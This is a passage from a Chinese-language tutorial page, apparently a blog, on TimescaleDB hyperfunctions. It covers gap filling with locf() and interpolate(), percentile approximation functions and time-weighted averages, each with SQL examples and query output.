class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">7.0</span> <span class="operator">|</span>  <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-14</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>  <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-15</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">8.0</span> <span class="operator">|</span>  <span class="number">8.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">9.0</span> <span class="operator">|</span>  <span class="number">9.0</span></span><br><span class="line">(<span class="number">7</span> <span class="type">row</span>)</span><br><span class="line"></span><br><span class="line"># 获取过去 <span class="number">7</span> 天内每个设备每天的平均温度，通过越界查找结转缺失读数的最后一个值</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="string">&#x27;1 day&#x27;</span>, <span class="type">time</span>, now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span>, now()) <span class="keyword">AS</span> <span class="keyword">day</span>,</span><br><span class="line">  device_id,</span><br><span class="line">  <span class="built_in">avg</span>(temperature) <span class="keyword">AS</span> <span class="keyword">value</span>,</span><br><span class="line">  locf(</span><br><span class="line">    <span class="built_in">avg</span>(temperature),</span><br><span class="line">    (<span class="keyword">SELECT</span> temperature <span class="keyword">FROM</span> metrics m2 <span class="keyword">WHERE</span> m2.time <span class="operator">&lt;</span> now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;2 week&#x27;</span> <span class="keyword">AND</span> m.device_id <span class="operator">=</span> m2.device_id <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span> <span class="keyword">DESC</span> LIMIT <span class="number">1</span>)</span><br><span class="line">  )</span><br><span class="line"><span class="keyword">FROM</span> metrics m</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now () <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span></span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">day</span>, device_id</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">day</span>;</span><br><span class="line"></span><br><span class="line">           <span class="keyword">day</span>          <span class="operator">|</span> device_id <span class="operator">|</span> <span class="keyword">value</span> <span class="operator">|</span> locf</span><br><span class="line"><span class="comment">------------------------+-----------+-------+------</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-10</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>  <span class="number">1.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-11</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">5.0</span> <span class="operator">|</span>  <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-12</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>  <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-13</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">7.0</span> <span class="operator">|</span>  <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-14</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>  <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-15</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">8.0</span> <span class="operator">|</span>  <span class="number">8.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">9.0</span> <span class="operator">|</span>  <span class="number">9.0</span></span><br><span class="line">(<span class="number">7</span> <span class="type">row</span>)</span><br></pre></td></tr></table></figure><h4 id="interpolate">interpolate()</h4><p>该<code>interpolate</code>函数对缺失值进行线性插值。它只能在带有<a href="https://docs.timescale.com/api/latest/hyperfunctions/gapfilling-interpolation/time_bucket_gapfill/">time_bucket_gapfill</a>的聚合查询中使用。该<code>interpolate</code>函数调用不能嵌套在其他函数调用。</p><p>因为插值函数依赖于在每个分桶周期之前和之后的值来计算内插值，所以如果这些桶不包含有效值，则它可能没有足够的数据来计算第一个和最后一个时间桶的插值。例如，插值需要在第一个时间段之前查看，但查询的外部时间谓词 WHERE time &gt; … 通常会限制函数仅评估此时间范围内的值。因此，<code>prev</code>和<code>next</code>表达式告诉函数如何查找时间谓词指定范围之外的值。仅当外部查询没有返回合适的值（即，查询时间范围内的第一个和/或最后一个桶为空）时，才会评估这些表达式。返回的<code>prev</code>and记录<code>next</code>必须是时间、值元组。time 的数据类型需要与<code>time_bucket_gapfill</code>调用中的 time 数据类型相同。value 的数据类型需要<code>value</code>与<code>interpolate</code>调用的数据类型相同。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"># 获取上周每个设备每天的温度，插入缺失的读数：</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="string">&#x27;1 day&#x27;</span>, <span class="type">time</span>, now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span>, now()) <span class="keyword">AS</span> <span class="keyword">day</span>,</span><br><span class="line">  device_id,</span><br><span class="line">  <span class="built_in">avg</span>(temperature) <span class="keyword">AS</span> <span class="keyword">value</span>,</span><br><span class="line">  interpolate(<span class="built_in">avg</span>(temperature))</span><br><span class="line"><span class="keyword">FROM</span> metrics</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now () <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span></span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">day</span>, device_id</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">day</span>;</span><br><span class="line"></span><br><span class="line">           <span class="keyword">day</span>          <span class="operator">|</span> device_id <span class="operator">|</span> <span class="keyword">value</span> <span class="operator">|</span> interpolate</span><br><span class="line"><span class="comment">------------------------+-----------+-------+-------------</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-10</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-11</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">5.0</span> <span class="operator">|</span>         <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-12</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>         <span class="number">6.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-13</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">7.0</span> <span class="operator">|</span>         <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-14</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>         <span class="number">7.5</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-15</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">8.0</span> <span class="operator">|</span>         <span class="number">8.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">9.0</span> <span class="operator">|</span>         <span class="number">9.0</span></span><br><span class="line">(<span class="number">7</span> <span class="type">row</span>)</span><br><span class="line"># 获取过去 <span class="number">7</span> 天内每个设备每天的平均温度，通过对间隙填充时间范围之前和之后的值的查找查询来插入缺失的读数：</span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">  time_bucket_gapfill(<span class="string">&#x27;1 day&#x27;</span>, <span class="type">time</span>, now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span>, now()) <span class="keyword">AS</span> <span class="keyword">day</span>,</span><br><span class="line">  device_id,</span><br><span class="line">  <span class="built_in">avg</span>(<span class="keyword">value</span>) <span class="keyword">AS</span> <span class="keyword">value</span>,</span><br><span class="line">  interpolate(<span class="built_in">avg</span>(temperature),</span><br><span class="line">    (<span class="keyword">SELECT</span> (<span class="type">time</span>,temperature) <span class="keyword">FROM</span> metrics m2 <span class="keyword">WHERE</span> m2.time <span class="operator">&lt;</span> now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span> <span class="keyword">AND</span> m.device_id <span class="operator">=</span> m2.device_id <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span> <span class="keyword">DESC</span> LIMIT <span class="number">1</span>),</span><br><span class="line">    (<span class="keyword">SELECT</span> (<span class="type">time</span>,temperature) <span class="keyword">FROM</span> metrics m2 <span class="keyword">WHERE</span> m2.time <span class="operator">&gt;</span> now() <span class="keyword">AND</span> m.device_id <span class="operator">=</span> m2.device_id <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="type">time</span> <span class="keyword">DESC</span> LIMIT <span class="number">1</span>)</span><br><span class="line">  ) <span class="keyword">AS</span> interpolate</span><br><span class="line"><span class="keyword">FROM</span> metrics m</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now () <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 week&#x27;</span></span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">day</span>, device_id</span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">day</span>;</span><br><span class="line"></span><br><span class="line">           <span class="keyword">day</span>          <span class="operator">|</span> device_id <span class="operator">|</span> <span class="keyword">value</span> <span class="operator">|</span> interpolate</span><br><span class="line"><span class="comment">------------------------+-----------+-------+-------------</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-10</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>         <span class="number">3.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-11</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">5.0</span> <span class="operator">|</span>         <span class="number">5.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-12</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>         <span class="number">6.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-13</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">7.0</span> <span class="operator">|</span>         <span class="number">7.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-14</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>       <span class="operator">|</span>         <span class="number">7.5</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-15</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">8.0</span> <span class="operator">|</span>         <span class="number">8.0</span></span><br><span class="line"> <span class="number">2019</span><span class="number">-01</span><span class="number">-16</span> <span class="number">01</span>:<span class="number">00</span>:<span class="number">00</span><span class="operator">+</span><span class="number">01</span> <span class="operator">|</span>         <span class="number">1</span> <span class="operator">|</span>   <span class="number">9.0</span> <span class="operator">|</span>         <span class="number">9.0</span></span><br><span class="line">(<span class="number">7</span> <span class="type">row</span>)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="8-平均数-AVG">8.平均数 AVG()</h3><p>TimescaleDB 中的百分位数分两步计算。首先，我们必须创建一个百分位数估计器，它可以使用<a href="https://docs.timescale.com/api/latest/hyperfunctions/percentile-approximation/percentile_agg/"><code>percentile_agg()</code></a>或 一种<a href="https://docs.timescale.com/api/latest/hyperfunctions/percentile-approximation/percentile-aggregation-methods/">高级聚合方法</a> <code>uddsketch()</code>或来创建 <code>tdigest()</code>。可以使用<a href="https://docs.timescale.com/api/latest/hyperfunctions/percentile-approximation/rollup-percentile/">rollupfunction</a>组合或重新聚合估算器。</p><p>创建估算器后，可以通过使用聚合结果作为以下函数的输入来获得所需的值：</p><h4 id="百分位近似数-percentile-agg">百分位近似数 percentile_agg()</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"># 默认的百分位聚合函数。它使用UddSketch 算法， 有 200 个桶，初始最大误差为 0.001。这适用于百分比近似的最常见用例。有关百分位近似算法的更高级用法，请参阅高级用法。这将创建一个Uddsketch百分位数估计器，它通常与approx_percentile()访问器函数一起使用以提取近似百分位，但是它的形式可以使用rollup函数和/或任何 访问器函数重新聚合。</span><br><span class="line">percentile_agg(</span><br><span class="line">    value DOUBLE PRECISION</span><br><span class="line">) RETURNS UddSketch</span><br><span class="line"></span><br><span class="line"># 使用percentile_agg()plusapprox_percentile访问器函数获取近似的第一个百分位数。</span><br><span class="line">SELECT</span><br><span class="line">    approx_percentile(0.01, percentile_agg(data))</span><br><span class="line">FROM generate_series(0, 100) data;</span><br><span class="line"></span><br><span class="line">approx_percentile</span><br><span class="line">-------------------</span><br><span class="line">             0.999</span><br><span class="line">             </span><br><span class="line"># 该percentile_agg函数通常用于创建连续聚合，之后您可以使用多个访问器进行回顾性分析。</span><br><span class="line">CREATE MATERIALIZED VIEW foo_hourly</span><br><span class="line">WITH (timescaledb.continuous)</span><br><span class="line">AS SELECT</span><br><span class="line">    time_bucket(&#x27;1 h&#x27;::interval, ts) as bucket,</span><br><span class="line">    percentile_agg(value) as pct_agg</span><br><span class="line">FROM foo</span><br><span class="line">GROUP BY 1;</span><br></pre></td></tr></table></figure><h4 id="从百分位数估计中获取百分位数的近似值approx-percentile">从百分位数估计中获取百分位数的近似值approx_percentile()</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">approx_percentile(</span><br><span class="line">    percentile <span class="type">DOUBLE PRECISION</span>,</span><br><span class="line">    sketch  uddsketch</span><br><span class="line">) <span class="keyword">RETURNS</span> <span class="type">DOUBLE PRECISION</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">    approx_percentile(<span class="number">0.01</span>, percentile_agg(data))</span><br><span class="line"><span class="keyword">FROM</span> generate_series(<span class="number">0</span>, <span class="number">100</span>) data;</span><br><span class="line">approx_percentile</span><br><span class="line"><span class="comment">-------------------</span></span><br><span class="line">             <span class="number">0.999</span></span><br></pre></td></tr></table></figure><h4 id="估计给定值将位于-UddSketch-中的哪个百分位">估计给定值将位于 UddSketch 中的哪个百分位</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">approx_percentile_rank(</span><br><span class="line">    <span class="keyword">value</span> <span class="type">DOUBLE PRECISION</span>,</span><br><span class="line">    sketch UddSketch</span><br><span class="line">) <span class="keyword">RETURNS</span> UddSketch</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">    approx_percentile_rank(<span class="number">99</span>, percentile_agg(data))</span><br><span class="line"><span class="keyword">FROM</span> generate_series(<span class="number">0</span>, <span class="number">100</span>) data;</span><br><span class="line">approx_percentile_rank</span><br><span class="line"><span class="comment">----------------------------</span></span><br><span class="line">         <span class="number">0.9851485148514851</span></span><br></pre></td></tr></table></figure><h4 id="归纳-rollup">归纳 rollup()</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">rollup(</span><br><span class="line">    sketch uddsketch</span><br><span class="line">) RETURNS UddSketch</span><br><span class="line"></span><br><span class="line">rollup(</span><br><span class="line">    digest tdigest</span><br><span class="line">) RETURNS tdigest</span><br><span class="line"></span><br><span class="line"># 我们将每小时连续的聚合重新聚合到每日存储桶中，与uddsketch&amp;的用法tdigest类似：</span><br><span class="line">CREATE MATERIALIZED VIEW foo_hourly</span><br><span class="line">WITH (timescaledb.continuous)</span><br><span class="line">AS SELECT</span><br><span class="line">    time_bucket(&#x27;1 h&#x27;::interval, ts) as bucket,</span><br><span class="line">    percentile_agg(value) as pct_agg</span><br><span class="line">FROM foo</span><br><span class="line">GROUP BY 1;</span><br><span class="line"></span><br><span class="line">SELECT</span><br><span class="line">    time_bucket(&#x27;1 day&#x27;::interval, bucket) as bucket,</span><br><span class="line">    approx_percentile(0.95, rollup(pct_agg)) as p95,</span><br><span class="line">    approx_percentile(0.99, rollup(pct_agg)) as p99</span><br><span class="line">FROM foo_hourly</span><br><span class="line">GROUP BY 1;</span><br></pre></td></tr></table></figure><h4 id="最大值max-val">最大值max_val()</h4><p>从 t-digest 中获取最大值（不适用于<code>percentile_agg</code>或<code>uddsketch</code>基于估计量）。当需要最大值和百分位数估计作为连续聚合的一部分时，提供此选项是为了节省空间。您可以简单地计算单个百分位数估计量，而无需指定单独的 <code>max</code>聚合，只需<code>max_val</code>从百分位数估计量中提取。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">max_val(digest TDigest) <span class="keyword">RETURNS</span> <span class="type">DOUBLE PRECISION</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> max_val(tdigest(<span class="number">100</span>, data))</span><br><span class="line"><span class="keyword">FROM</span> generate_series(<span class="number">1</span>, <span class="number">100</span>) data;</span><br><span class="line">max_val</span><br><span class="line"><span class="comment">---------</span></span><br><span class="line">     <span class="number">100</span></span><br></pre></td></tr></table></figure><h4 id="准确平均值-mean">准确平均值 mean()</h4><p>获取百分位数估计中所有值的精确平均值。（返回的百分位数是估计值，平均值是准确的）。当均值和百分位数估计都需要作为连续聚合的一部分时，这样做是为了节省空间。您可以简单地计算单个百分位数估计量，而无需指定单独的 <code>avg</code>聚合，只需从百分位数估计量中提取均值即可。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">mean(sketch UddSketch) <span class="keyword">RETURNS</span> <span class="type">DOUBLE PRECISION</span></span><br><span class="line"></span><br><span class="line">mean(digest tdigest) <span class="keyword">RETURNS</span> <span class="type">DOUBLE PRECISION</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> mean(percentile_agg(data))</span><br><span class="line"><span class="keyword">FROM</span> generate_series(<span class="number">0</span>, <span class="number">100</span>) data;</span><br><span class="line">mean</span><br><span class="line"><span class="comment">------</span></span><br><span class="line"> <span class="number">50</span></span><br></pre></td></tr></table></figure><h4 id="相对于正确值的最大误差值error">相对于正确值的最大误差值error()</h4><p>这将返回百分位数估计将具有的最大相对误差（相对于正确值）。这意味着实际值将落在由 定义的范围内<code>approx_percentile(sketch) +/- approx_percentile(sketch)*error(sketch)</code>。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> error(percentile_agg(data))</span><br><span class="line"><span class="keyword">FROM</span> generate_series(<span class="number">0</span>, <span class="number">100</span>) data;</span><br><span class="line">error</span><br><span class="line"><span class="comment">-------</span></span><br><span class="line"> <span class="number">0.001</span></span><br></pre></td></tr></table></figure><h4 id="最小值">最小值</h4><p>从 t-digest 中获取最小值（不适用于<code>percentile_agg</code>或<code>uddsketch</code>基于估计量）。提供此功能是为了在需要最小值和百分位数估计值作为连续聚合的一部分时节省空间。您可以简单地计算单个百分位数估计量，而无需指定单独的 <code>min</code>聚合，只需<code>min_val</code>从百分位数估计量中提取。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">min_val(digest TDigest) <span class="keyword">RETURNS</span> <span class="type">DOUBLE PRECISION</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> min_val(tdigest(<span class="number">100</span>, data))</span><br><span class="line"><span class="keyword">FROM</span> generate_series(<span class="number">1</span>, <span class="number">100</span>) data;</span><br><span class="line">min_val</span><br><span class="line"><span class="comment">-----------</span></span><br><span class="line">         <span class="number">1</span></span><br></pre></td></tr></table></figure><h4 id="百分位数估计中包含的值的数量num-vals">百分位数估计中包含的值的数量num_vals()</h4><p>获取百分位数估计中包含的值的数量。当需要计数和百分位数估计作为连续聚合的一部分时，提供此选项是为了节省空间。您可以简单地计算单个百分位数估计量，而无需指定单独的 <code>count</code>聚合，只需<code>num_vals</code>从百分位数估计量中提取。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">num_vals(sketch UddSketch) <span class="keyword">RETURNS</span> <span class="type">DOUBLE PRECISION</span></span><br><span class="line"></span><br><span class="line">num_vals(digest tdigest) <span class="keyword">RETURNS</span> <span class="type">DOUBLE PRECISION</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> num_vals(percentile_agg(data))</span><br><span class="line"><span class="keyword">FROM</span> generate_series(<span class="number">0</span>, <span class="number">100</span>) data;</span><br><span class="line">num_vals</span><br><span class="line"><span class="comment">-----------</span></span><br><span class="line">       <span class="number">101</span></span><br></pre></td></tr></table></figure><h3 id="9-时间加权平均函数">9.时间加权平均函数</h3><p>时间加权平均值通常用于时间序列未均匀采样的情况，因此传统平均值会产生误导性结果。考虑一个电压传感器，它每 5 分钟发送一次读数，或者每当值从前一个读数变化超过 1 V 时发送一次读数。如果结果通常是稳定的，但有一些快速移动的瞬态，所有点的简单平均将倾向于过度加权瞬态而不是稳定读数。时间加权平均值根据每个值根据其周围的点发生的持续时间对每个值进行加权，并为不均匀间隔的系列生成正确的结果。</p><p>TimescaleDB 工具包的时间加权平均值作为一个聚合实现，它使用最后一次观察结转 (LOCF) 方法或线性插值方法对每个值进行加权。</p><h4 id="时间权重">时间权重</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># TimeWeightSummary从时间戳和关联值生成 a 的聚合。</span><br><span class="line">time_weight(</span><br><span class="line">    <span class="keyword">method</span> TEXT,</span><br><span class="line">    ts TIMESTAMPTZ,</span><br><span class="line">    <span class="keyword">value</span> <span class="type">DOUBLE PRECISION</span></span><br><span class="line">) <span class="keyword">RETURNS</span> TimeWeightSummary</span><br><span class="line"></span><br><span class="line"><span class="keyword">WITH</span> t <span class="keyword">as</span> (</span><br><span class="line">    <span class="keyword">SELECT</span></span><br><span class="line">        time_bucket(<span class="string">&#x27;1 day&#x27;</span>::<span class="type">interval</span>, ts) <span class="keyword">as</span> dt,</span><br><span class="line">        time_weight(<span class="string">&#x27;Linear&#x27;</span>, ts, val) <span class="keyword">AS</span> tw <span class="comment">-- get a time weight summary</span></span><br><span class="line">    <span class="keyword">FROM</span> foo</span><br><span class="line">    <span class="keyword">WHERE</span> measure_id <span class="operator">=</span> <span class="number">10</span></span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> time_bucket(<span class="string">&#x27;1 day&#x27;</span>::<span class="type">interval</span>, ts)</span><br><span 